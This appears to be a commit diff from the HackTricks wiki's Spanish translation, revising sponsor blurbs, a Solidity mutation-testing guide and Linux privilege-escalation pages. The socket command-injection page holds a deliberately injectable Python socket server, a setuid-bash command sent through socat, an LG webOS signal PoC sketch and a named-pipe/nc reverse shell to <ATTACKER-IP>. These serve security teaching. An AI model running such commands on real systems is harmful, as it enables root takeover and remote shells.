Translated ['', 'src/linux-hardening/privilege-escalation/vmware-tools-s

2025-10-10 18:36:50 +00:00 · 2025-10-01 12:03:27 +00:00 · 2025-10-01 12:03:27 +00:00 · a1150d4160
commit a1150d4160
parent 91dfdfb8c6
13 changed files with 772 additions and 679 deletions
--- a/src/README.md
+++ b/src/README.md
@ -31,15 +31,15 @@ export LANG="master" # Leave master for english
 # Run the docker container indicating the path to the hacktricks folder
 docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
 ```
-Tu copia local de HackTricks estará **disponible en [http://localhost:3337](http://localhost:3337)** después de <5 minutos (necesita compilar el libro, ten paciencia).
+Tu copia local de HackTricks estará disponible en **[http://localhost:3337](http://localhost:3337)** después de <5 minutos (necesita construir el libro, ten paciencia).

-## Patrocinadores Corporativos
+## Corporate Sponsors

 ### [STM Cyber](https://www.stmcyber.com)

 <figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>

-[**STM Cyber**](https://www.stmcyber.com) es una gran empresa de ciberseguridad cuyo eslogan es **HACK THE UNHACKABLE**. Realizan su propia investigación y desarrollan sus propias herramientas de hacking para **ofrecer varios servicios valiosos de ciberseguridad** como pentesting, Red teams y formación.
+[**STM Cyber**](https://www.stmcyber.com) es una gran empresa de ciberseguridad cuyo eslogan es **HACK THE UNHACKABLE**. Realizan su propia investigación y desarrollan sus propias herramientas de hacking para **ofrecer varios servicios de ciberseguridad valiosos** como pentesting, Red teams y formación.

 Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcyber.com)

@ -51,7 +51,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm

 <figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>

-[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro ferviente para profesionales de la tecnología y la ciberseguridad de todas las disciplinas.
+[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **Spain** y uno de los más importantes en **Europe**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro candente para profesionales de la tecnología y la ciberseguridad de todas las disciplinas.

 {{#ref}}
 https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/

 <figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>

-**Intigriti** es la plataforma #1 de Europa de ethical hacking y bug bounty.
+**Intigriti** es la **Europe's #1** plataforma de ethical hacking y **bug bounty.**

-**Consejo de bug bounty**: **regístrate** en **Intigriti**, ¡una plataforma premium de bug bounty creada por hackers, para hackers! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y empieza a ganar bounties de hasta **$100,000**!
+**Consejo de bug bounty**: **regístrate** en **Intigriti**, ¡una plataforma premium de bug bounty creada por hackers, para hackers! Únete hoy a [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) y comienza a ganar recompensas de hasta **$100,000**!

 {{#ref}}
 https://go.intigriti.com/hacktricks
@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
 <figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>

 \
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para crear y **automatizar workflows** fácilmente impulsados por las herramientas comunitarias más **avanzadas** del mundo.
+Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para crear fácilmente y **automatizar flujos de trabajo** impulsados por las **herramientas comunitarias más avanzadas** del mundo.

 Obtén acceso hoy:

@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr

 <figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>

-Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y bug bounty hunters!
+Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bug bounty!

- **Hacking Insights:** Participa en contenido que profundiza en la emoción y los desafíos del hacking
- **Real-Time Hack News:** Mantente al día con el vertiginoso mundo del hacking mediante noticias e insights en tiempo real
- **Latest Announcements:** Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones importantes de la plataforma
+- **Hacking Insights:** Participa en contenido que profundiza en la emoción y los retos del hacking
+- **Real-Time Hack News:** Mantente al día con el vertiginoso mundo del hacking mediante noticias e información en tiempo real
+- **Latest Announcements:** Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones cruciales de plataformas

-**¡Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!**
+**¡Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **y comienza a colaborar con los mejores hackers hoy!**

 ---

@ -106,9 +106,9 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr

 <figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-**Obtén la perspectiva de un hacker sobre tus web apps, network y cloud**
+**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y cloud**

-**Encuentra y reporta vulnerabilidades críticas y explotables con impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, transformando tu trabajo en reportes persuasivos.
+**Encuentra y reporta vulnerabilidades explotables críticas con impacto real en el negocio.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu trabajo en informes persuasivos.

 {{#ref}}
 https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick

 <figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>

-**SerpApi** ofrece APIs en tiempo real rápidas y fáciles para **acceder a resultados de motores de búsqueda**. Rastrean search engines, gestionan proxies, resuelven captchas y parsean todos los datos estructurados ricos por ti.
+**SerpApi** ofrece APIs en tiempo real rápidas y sencillas para **acceder a resultados de motores de búsqueda**. Rastrean search engines, gestionan proxies, resuelven captchas y parsean todos los datos estructurados ricos por ti.

-Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para scraping de distintos search engines, incluyendo Google, Bing, Baidu, Yahoo, Yandex y más.\
-A diferencia de otros proveedores, **SerpApi no solo raspa resultados orgánicos**. Las respuestas de SerpApi incluyen de forma consistente todos los anuncios, imágenes y vídeos inline, knowledge graphs y otros elementos y funcionalidades presentes en los resultados de búsqueda.
+Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para scrapear distintos motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex y más.\
+A diferencia de otros proveedores, **SerpApi no solo scrapea resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y vídeos en línea, knowledge graphs y otros elementos y funcionalidades presentes en los resultados de búsqueda.

-Entre los clientes actuales de SerpApi se encuentran **Apple, Shopify y GrubHub**.\
+Clientes actuales de SerpApi incluyen a **Apple, Shopify y GrubHub**.\
 Para más información consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\
-Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign_up)**.**
+Puedes **crear una cuenta gratuita** [**here**](https://serpapi.com/users/sign_up)**.**

 ---

@ -135,7 +135,7 @@ Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign_

 <figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>

-Aprende las tecnologías y habilidades necesarias para realizar vulnerability research, penetration testing y reverse engineering para proteger aplicaciones y dispositivos móviles. **Domina iOS y Android security** a través de nuestros cursos on-demand y **obtén certificación**:
+Aprende las tecnologías y habilidades necesarias para realizar investigación de vulnerabilidades, penetration testing y reverse engineering para proteger aplicaciones y dispositivos móviles. **Domina iOS and Android security** a través de nuestros cursos on-demand y **obtén certificación**:

 {{#ref}}
 https://academy.8ksec.io/
@ -149,11 +149,11 @@ https://academy.8ksec.io/

 [**WebSec**](https://websec.net) es una empresa profesional de ciberseguridad con sede en **Amsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad proporcionando **servicios de offensive-security** con un enfoque **moderno**.

-WebSec es una empresa internacional de seguridad con oficinas en Amsterdam y Wyoming. Ofrecen **servicios de seguridad todo-en-uno**, lo que significa que lo hacen todo: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campaigns, Code Review, Exploit Development, Security Experts Outsourcing y mucho más.
+WebSec es una compañía de seguridad internacional con oficinas en Amsterdam y Wyoming. Ofrecen **servicios de seguridad todo en uno**, lo que significa que lo hacen todo: Pentesting, **Security** Audits, Awareness Trainings, campañas de Phishing, Code Review, Exploit Development, Security Experts Outsourcing y mucho más.

-Otra cosa interesante sobre WebSec es que, a diferencia del promedio industrial, WebSec está **muy confiada en sus habilidades**, hasta el punto de que **garantizan los mejores resultados**, en su web indican "**If we can't hack it, You don't pay it!**". Para más info visita su [**website**](https://websec.net/en/) y su [**blog**](https://websec.net/blog/)!
+Otra cosa interesante sobre WebSec es que, a diferencia de la media de la industria, WebSec es **muy confiada en sus habilidades**, hasta tal punto que **garantizan los mejores resultados**, como indican en su web "**If we can't hack it, You don't pay it!**". Para más info echa un vistazo a su [**website**](https://websec.net/en/) y [**blog**](https://websec.net/blog/)!

-Además, WebSec también es un **firme patrocinador de HackTricks.**
+Además de lo anterior, WebSec también es un **apoyador comprometido de HackTricks.**

 {{#ref}}
 https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -166,9 +166,9 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
 <figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>

 [**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) es un motor de búsqueda de data breach (leak). \
-Ofrecemos búsqueda de cadenas aleatorias (como google) sobre todo tipo de data leaks grandes y pequeños --no solo los grandes-- sobre datos de múltiples fuentes. \
-Búsqueda de personas, búsqueda por AI, búsqueda por organización, acceso por API (OpenAPI), integración con theHarvester, todas las funcionalidades que un pentester necesita.\
-**¡HackTricks sigue siendo una gran plataforma de aprendizaje para todos nosotros y estamos orgullosos de patrocinarlos!**
+Ofrecemos búsqueda por cadenas aleatorias (como google) sobre todo tipo de data leaks grandes y pequeños --no solo los grandes-- sobre datos de múltiples fuentes. \
+Búsqueda por personas, búsqueda por IA, búsqueda por organización, acceso API (OpenAPI), integración con theHarvester, todas las funcionalidades que un pentester necesita.\
+**¡HackTricks sigue siendo una gran plataforma de aprendizaje para todos y estamos orgullosos de patrocinarla!**

 {{#ref}}
 https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons


 **Built for the field. Built around you.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desarrolla y ofrece formación eficaz en ciberseguridad construida e impartida por expertos de la industria. Sus programas van más allá de la teoría para dotar a los equipos de un entendimiento profundo y habilidades accionables, usando entornos personalizados que reflejan amenazas del mundo real. Para consultas sobre formación a medida, contáctanos [**aquí**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) desarrolla e imparte formación efectiva en ciberseguridad creada y liderada por expertos de la industria. Sus programas van más allá de la teoría para dotar a los equipos de una comprensión profunda y habilidades accionables, usando entornos personalizados que reflejan amenazas del mundo real. Para consultas de formación a medida, contáctanos [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).

 **Qué distingue su formación:**
-* Contenido y labs personalizados
-* Respaldado por herramientas y plataformas de primer nivel
-* Diseñado e impartido por practitioners
+* Contenido y laboratorios personalizados
+* Respaldados por herramientas y plataformas de primer nivel
+* Diseñados e impartidos por practicantes

 {{#ref}}
 https://cyberhelmets.com/courses/?ref=hacktricks
@ -199,11 +199,11 @@ https://cyberhelmets.com/courses/?ref=hacktricks

 <figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>

-Last Tower Solutions ofrece servicios especializados de ciberseguridad para instituciones de **Education** y **FinTech**, con un enfoque en **penetration testing, cloud security assessments** y **compliance readiness** (SOC 2, PCI-DSS, NIST). Nuestro equipo incluye profesionales certificados **OSCP y CISSP**, aportando profunda experiencia técnica y perspectiva conforme a los estándares de la industria en cada compromiso.
+Last Tower Solutions ofrece servicios especializados de ciberseguridad para instituciones de **Education** y **FinTech**, con un enfoque en **penetration testing, cloud security assessments**, y **compliance readiness** (SOC 2, PCI-DSS, NIST). Nuestro equipo incluye profesionales certificados **OSCP and CISSP**, aportando profunda experiencia técnica y perspectiva basada en estándares de la industria en cada compromiso.

-Vamos más allá de los escaneos automatizados con **testing manual e impulsado por inteligencia** adaptado a entornos de alto riesgo. Desde asegurar registros estudiantiles hasta proteger transacciones financieras, ayudamos a las organizaciones a defender lo que más importa.
+Vamos más allá de los escaneos automatizados con **pruebas manuales e intelligence-driven** adaptadas a entornos de alto riesgo. Desde asegurar registros de estudiantes hasta proteger transacciones financieras, ayudamos a las organizaciones a defender lo que más importa.

-_“Una defensa de calidad requiere conocer la ofensiva, brindamos seguridad a través del entendimiento.”_
+_“A quality defense requires knowing the offense, we provide security through understanding.”_

 Mantente informado y al día con lo último en ciberseguridad visitando nuestro [**blog**](https://www.lasttowersolutions.com/blog).

@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/

 ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)

-<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
+<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>

-K8Studio IDE empodera a DevOps, DevSecOps y desarrolladores para gestionar, monitorizar y asegurar clusters de Kubernetes de forma eficiente. Aprovecha nuestros insights impulsados por IA, framework de seguridad avanzado y la intuitiva GUI CloudMaps para visualizar tus clusters, entender su estado y actuar con confianza.
+K8Studio IDE capacita a DevOps, DevSecOps y desarrolladores para gestionar, monitorizar y asegurar clústeres de Kubernetes de manera eficiente. Aprovecha nuestras insights impulsadas por IA, framework de seguridad avanzado y la intuitiva GUI CloudMaps para visualizar tus clústeres, entender su estado y actuar con confianza.

-Además, K8Studio es **compatible con todas las principales distribuciones de kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift y más).
+Además, K8Studio es **compatible con todas las principales distribuciones de kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).

 {{#ref}}
 https://k8studio.io/
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -950,4 +950,4 @@
 - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
+- [Cookies Policy](todo/cookies-policy.md)
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@ -1,14 +1,14 @@
-# Mutation Testing para Solidity con Slither (slither-mutate)
+# Mutation Testing for Solidity with Slither (slither-mutate)

 {{#include ../../banners/hacktricks-training.md}}

-Mutation testing "tests your tests" al introducir sistemáticamente pequeños cambios (mutants) en tu código Solidity y volver a ejecutar tu suite de pruebas. Si una prueba falla, el mutant es eliminado. Si las pruebas siguen pasando, el mutant sobrevive, revelando un punto ciego en tu suite de pruebas que la cobertura de líneas/ramas no puede detectar.
+Mutation testing "prueba tus pruebas" introduciendo sistemáticamente pequeños cambios (mutantes) en tu código Solidity y volviendo a ejecutar tu suite de pruebas. Si una prueba falla, el mutante es eliminado. Si las pruebas siguen pasando, el mutante sobrevive, revelando un punto ciego en tu suite de pruebas que la cobertura de líneas/ramas no puede detectar.

-Idea clave: La cobertura muestra que el código se ejecutó; mutation testing muestra si el comportamiento está realmente verificado.
+Idea clave: La cobertura muestra que el código fue ejecutado; mutation testing muestra si el comportamiento realmente está verificado.

 ## Por qué la cobertura puede engañar

-Considera esta sencilla comprobación de umbral:
+Considera esta simple comprobación de umbral:
 ```solidity
 function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
 if (deposit >= 1 ether) {
@ -18,39 +18,39 @@ return false;
 }
 }
 ```
-Las pruebas unitarias que solo comprueban un valor por debajo y otro por encima del umbral pueden alcanzar el 100% de cobertura de líneas/ramas mientras no afirman la igualdad límite (==). Un refactor a `deposit >= 2 ether` seguiría pasando esas pruebas, rompiendo silenciosamente la lógica del protocolo.
+Las pruebas unitarias que solo comprueban un valor por debajo y otro por encima del umbral pueden alcanzar el 100% de cobertura de líneas/ramas mientras no verifican la condición de igualdad (==). Un refactor a `deposit >= 2 ether` seguiría pasando esas pruebas, rompiendo silenciosamente la lógica del protocolo.

-Las pruebas de mutación exponen esta brecha al mutar la condición y verificar que tus tests fallen.
+Mutation testing expone esta brecha mutando la condición y verificando que tus pruebas fallen.

-## Operadores de mutación comunes en Solidity
+## Operadores mutation comunes de Solidity

-El motor de mutación de Slither aplica muchos pequeños cambios que alteran la semántica, como:
+La mutation engine de Slither aplica muchos pequeños cambios que alteran la semántica, tales como:
 - Reemplazo de operadores: `+` ↔ `-`, `*` ↔ `/`, etc.
- Reemplazo de asignación: `+=` → `=`, `-=` → `=`
- Reemplazo de constantes: valor distinto de cero → `0`, `true` ↔ `false`
+- Reemplazo de asignaciones: `+=` → `=`, `-=` → `=`
+- Reemplazo de constantes: distinto de cero → `0`, `true` ↔ `false`
 - Negación/reemplazo de condiciones dentro de `if`/bucles
 - Comentar líneas completas (CR: Comment Replacement)
 - Reemplazar una línea por `revert()`
- Intercambio de tipos de datos: p. ej., `int128` → `int64`
+- Intercambio de tipos de dato: p. ej., `int128` → `int64`

-Objetivo: eliminar el 100% de los mutantes generados, o justificar los supervivientes con un razonamiento claro.
+Objetivo: eliminar al 100% de los mutantes generados, o justificar los sobrevivientes con razonamiento claro.

-## Ejecutar pruebas de mutación con slither-mutate
+## Ejecutando mutation testing con slither-mutate

 Requisitos: Slither v0.10.2+.

- Listar opciones y mutadores:
+- Listar opciones y mutators:
 ```bash
 slither-mutate --help
 slither-mutate --list-mutators
 ```
- ejemplo de Foundry (capturar resultados y mantener un registro completo):
+- Foundry example (capturar los resultados y mantener un registro completo):
 ```bash
 slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
 ```
 - Si no usas Foundry, reemplaza `--test-cmd` por la forma en que ejecutas las pruebas (p. ej., `npx hardhat test`, `npm test`).

-Los artefactos e informes se almacenan en `./mutation_campaign` por defecto. Los mutantes no detectados (sobrevivientes) se copian allí para su inspección.
+Los artefactos y los informes se almacenan en `./mutation_campaign` por defecto. Los mutantes no capturados (sobrevivientes) se copian allí para su inspección.

 ### Entendiendo la salida

@ -59,55 +59,55 @@ Las líneas del informe se ven así:
 INFO:Slither-Mutate:Mutating contract ContractName
 INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
 ```
- La etiqueta entre corchetes es el mutator alias (p. ej., `CR` = Comment Replacement).
- `UNCAUGHT` significa que las pruebas pasaron bajo el comportamiento mutado → falta una aserción.
+- La etiqueta entre corchetes es el alias del mutator (por ejemplo, `CR` = Comment Replacement).
+- `UNCAUGHT` significa que las pruebas pasaron bajo el comportamiento mutado → aserción faltante.

-## Reducir el tiempo de ejecución: priorizar mutantes con impacto
+## Reducir tiempo de ejecución: priorizar mutantes con impacto

-Las campañas de mutación pueden durar horas o días. Consejos para reducir el coste:
- Alcance: comienza solo con contratos/directorios críticos, luego expande.
- Prioriza mutadores: si un mutante de alta prioridad en una línea sobrevive (p. ej., línea entera comentada), puedes omitir variantes de menor prioridad para esa línea.
- Paraleliza las pruebas si tu runner lo permite; almacena en caché dependencias/compilaciones.
- Fail-fast: detente pronto cuando un cambio demuestre claramente una brecha en las aserciones.
+Las campañas de mutación pueden durar horas o días. Consejos para reducir coste:
+- Scope: empieza con contratos/directorios críticos únicamente, luego expande.
+- Priorizar mutators: si un mutante de alta prioridad en una línea sobrevive (p. ej., la línea completa comentada), puedes omitir variantes de menor prioridad para esa línea.
+- Paraleliza tests si tu runner lo permite; cachea dependencias/builds.
+- Fail-fast: detente temprano cuando un cambio demuestre claramente una brecha de aserción.

 ## Flujo de triage para mutantes supervivientes

 1) Inspecciona la línea mutada y el comportamiento.
 - Reproduce localmente aplicando la línea mutada y ejecutando una prueba focalizada.

-2) Fortalece las pruebas para afirmar el estado, no solo los valores de retorno.
- Añade comprobaciones de igualdad y límites (p. ej., test threshold `==`).
- Asegura post-condiciones: balances, suministro total, efectos de autorización y eventos emitidos.
+2) Fortalece las pruebas para asertar estado, no solo valores de retorno.
+- Añade comprobaciones de igualdad-límite (p. ej., test threshold `==`).
+- Aserta post-condiciones: balances, total supply, efectos de autorización y eventos emitidos.

 3) Sustituye mocks demasiado permisivos por comportamiento realista.
- Asegúrate de que los mocks hagan cumplir transferencias, rutas de fallo y emisiones de eventos que ocurren on-chain.
+- Asegura que los mocks hagan cumplir transfers, caminos de fallo y emisiones de eventos que ocurren on-chain.

 4) Añade invariantes para fuzz tests.
- Ej.: conservación del valor, balances no negativos, invariantes de autorización, suministro monótono cuando sea aplicable.
+- P. ej., conservación del valor, balances no negativos, invariantes de autorización, suministro monótono cuando corresponda.

-5) Vuelve a ejecutar slither-mutate hasta que los supervivientes sean eliminados o estén justificados explícitamente.
+5) Re-run slither-mutate hasta que los supervivientes sean eliminados o justificados explícitamente.

-## Caso de estudio: revelando aserciones de estado faltantes (Arkis protocol)
+## Estudio de caso: revelar aserciones de estado faltantes (protocolo Arkis)

-Una campaña de mutación durante una auditoría del Arkis DeFi protocol mostró supervivientes como:
+Una campaña de mutación durante una auditoría del protocolo Arkis DeFi sacó a la luz supervivientes como:
 ```text
 INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
 ```
-Comentar la asignación no rompió los tests, lo que demuestra que faltan aserciones del estado posterior. Causa raíz: el código confiaba en un `_cmd.value` controlado por el usuario en lugar de validar las transferencias reales de tokens. Un atacante podría desincronizar las transferencias esperadas frente a las reales para vaciar fondos. Resultado: riesgo de alta severidad para la solvencia del protocolo.
+Comentar la asignación no rompió las pruebas, lo que demuestra la falta de aserciones sobre el estado posterior. Causa raíz: el código confió en un `_cmd.value` controlado por el usuario en lugar de validar transferencias reales de tokens. Un atacante podría desincronizar las transferencias esperadas frente a las reales para vaciar fondos. Resultado: riesgo de alta severidad para la solvencia del protocolo.

-Guía: Trata los mutantes sobrevivientes que afectan transferencias de valor, contabilidad o control de acceso como de alto riesgo hasta que sean eliminados.
+Orientación: Trate a los mutantes supervivientes que afectan transferencias de valor, contabilidad o control de acceso como de alto riesgo hasta que sean eliminados.

-## Lista de comprobación práctica
+## Lista de verificación práctica

- Ejecuta una campaña dirigida:
+- Ejecute una campaña dirigida:
 - `slither-mutate ./src/contracts --test-cmd="forge test"`
- Clasifica los mutantes sobrevivientes y escribe tests/invariantes que fallen con el comportamiento mutado.
- Comprueba saldos, suministro, autorizaciones y eventos.
- Añade tests límite (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Sustituye mocks poco realistas; simula modos de fallo.
- Itera hasta que todos los mutantes sean eliminados o justificados con comentarios y razonamiento.
+- Clasifique los mutantes supervivientes y escriba pruebas/invariantes que fallen bajo el comportamiento mutado.
+- Aserte saldos, suministro, autorizaciones y eventos.
+- Agregue pruebas límite (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Reemplace mocks poco realistas; simule modos de fallo.
+- Itere hasta que todos los mutantes sean eliminados o justificados con comentarios y fundamento.

-## References
+## Referencias

 - [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
 - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@ -4,7 +4,7 @@

 ## Socket binding example with Python

-En el siguiente ejemplo se crea un **unix socket** (`/tmp/socket_test.s`) y todo lo que se **reciba** será **ejecutado** por `os.system`. Sé que no vas a encontrar esto en el mundo real, pero el objetivo de este ejemplo es ver cómo luce un code que usa unix sockets, y cómo gestionar el input en el peor caso posible.
+En el siguiente ejemplo se crea un **unix socket** (`/tmp/socket_test.s`) y todo lo que se **reciba** será **ejecutado** por `os.system`. Sé que no vas a encontrar esto en el mundo real, pero el objetivo de este ejemplo es ver cómo se ve un código que usa unix sockets y cómo manejar la entrada en el peor caso posible.
 ```python:s.py
 import socket
 import os, os.path
@ -26,7 +26,7 @@ print(datagram)
 os.system(datagram)
 conn.close()
 ```
-**Ejecuta** el código usando python: `python s.py` y **verifica cómo está escuchando el socket**:
+**Ejecute** el código usando python: `python s.py` y **compruebe cómo está escuchando el socket**:
 ```python
 netstat -a -p --unix | grep "socket_test"
 (Not all processes could be identified, non-owned process info
@ -37,17 +37,17 @@ unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python
 ```python
 echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
 ```
-## Estudio de caso: escalada desencadenada por señales en socket UNIX propiedad de root (LG webOS)
+## Estudio de caso: Root-owned UNIX socket signal-triggered escalation (LG webOS)

-Algunos daemons privilegiados exponen un socket UNIX propiedad de root que acepta entrada no confiable y asocia acciones privilegiadas a IDs de hilo y señales. Si el protocolo permite que un cliente no privilegiado influya en qué hilo nativo es objetivo, podrías ser capaz de activar una ruta de código privilegiado y escalar.
+Algunos daemons privilegiados exponen un UNIX socket propiedad de root que acepta entrada no confiable y vincula acciones privilegiadas a thread-IDs y señales. Si el protocolo permite que un cliente no privilegiado influya en qué native thread es el objetivo, podrías ser capaz de activar una ruta de código privilegiado y escalar.

 Patrón observado:
- Conéctate a un socket propiedad de root (p. ej., /tmp/remotelogger).
- Crea un hilo y obtén su id de hilo nativo (TID).
- Envía el TID (empaquetado) más padding como una petición; recibe una confirmación.
- Envía una señal específica a ese TID para desencadenar el comportamiento privilegiado.
+- Conectarse a un socket propiedad de root (p.ej., /tmp/remotelogger).
+- Crear un thread y obtener su native thread id (TID).
+- Enviar el TID (packed) más padding como petición; recibir un acknowledgement.
+- Enviar una señal específica a ese TID para activar el comportamiento privilegiado.

-Esquema de PoC mínimo:
+Bosquejo mínimo de PoC:
 ```python
 import socket, struct, os, threading, time
 # Spawn a thread so we have a TID we can signal
@ -59,14 +59,14 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
 s.recv(4)  # sync
 os.kill(tid, 4)  # deliver SIGILL (example from the case)
 ```
-Para convertir esto en una root shell, se puede usar un patrón simple de named-pipe + nc:
+Para convertir esto en un root shell, se puede usar un patrón simple de named-pipe + nc:
 ```bash
 rm -f /tmp/f; mkfifo /tmp/f
 cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
 ```
 Notas:
- Esta clase de bugs surge de confiar en valores derivados del estado de cliente no privilegiado (TIDs) y enlazarlos a signal handlers o a lógica privilegiada.
- Endurecer haciendo cumplir las credentials en el socket, validando los message formats y desacoplando las operaciones privilegiadas de los thread identifiers suministrados externamente.
+- Esta clase de bugs surge de confiar en valores derivados del estado de cliente sin privilegios (TIDs) y de vincularlos a manejadores de señales o a lógica privilegiada.
+- Endurecer forzando la verificación de credenciales en el socket, validando los formatos de mensaje y desacoplando las operaciones privilegiadas de los identificadores de hilo proporcionados externamente.

 ## Referencias

--- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
+++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
@ -2,22 +2,22 @@

 {{#include ../../banners/hacktricks-training.md}}

-Esta técnica abusa de pipelines de service discovery impulsados por regex que analizan las command lines de procesos en ejecución para inferir versiones de servicio y luego ejecutar un candidate binary con una bandera "version". Cuando patrones permisivos aceptan rutas no confiables controladas por el atacante (p. ej., /tmp/httpd), el privileged collector ejecuta un binary arbitrario desde una ubicación no confiable, produciendo local privilege escalation. NVISO documentó esto en VMware Tools/Aria Operations Service Discovery como CVE-2025-41244.
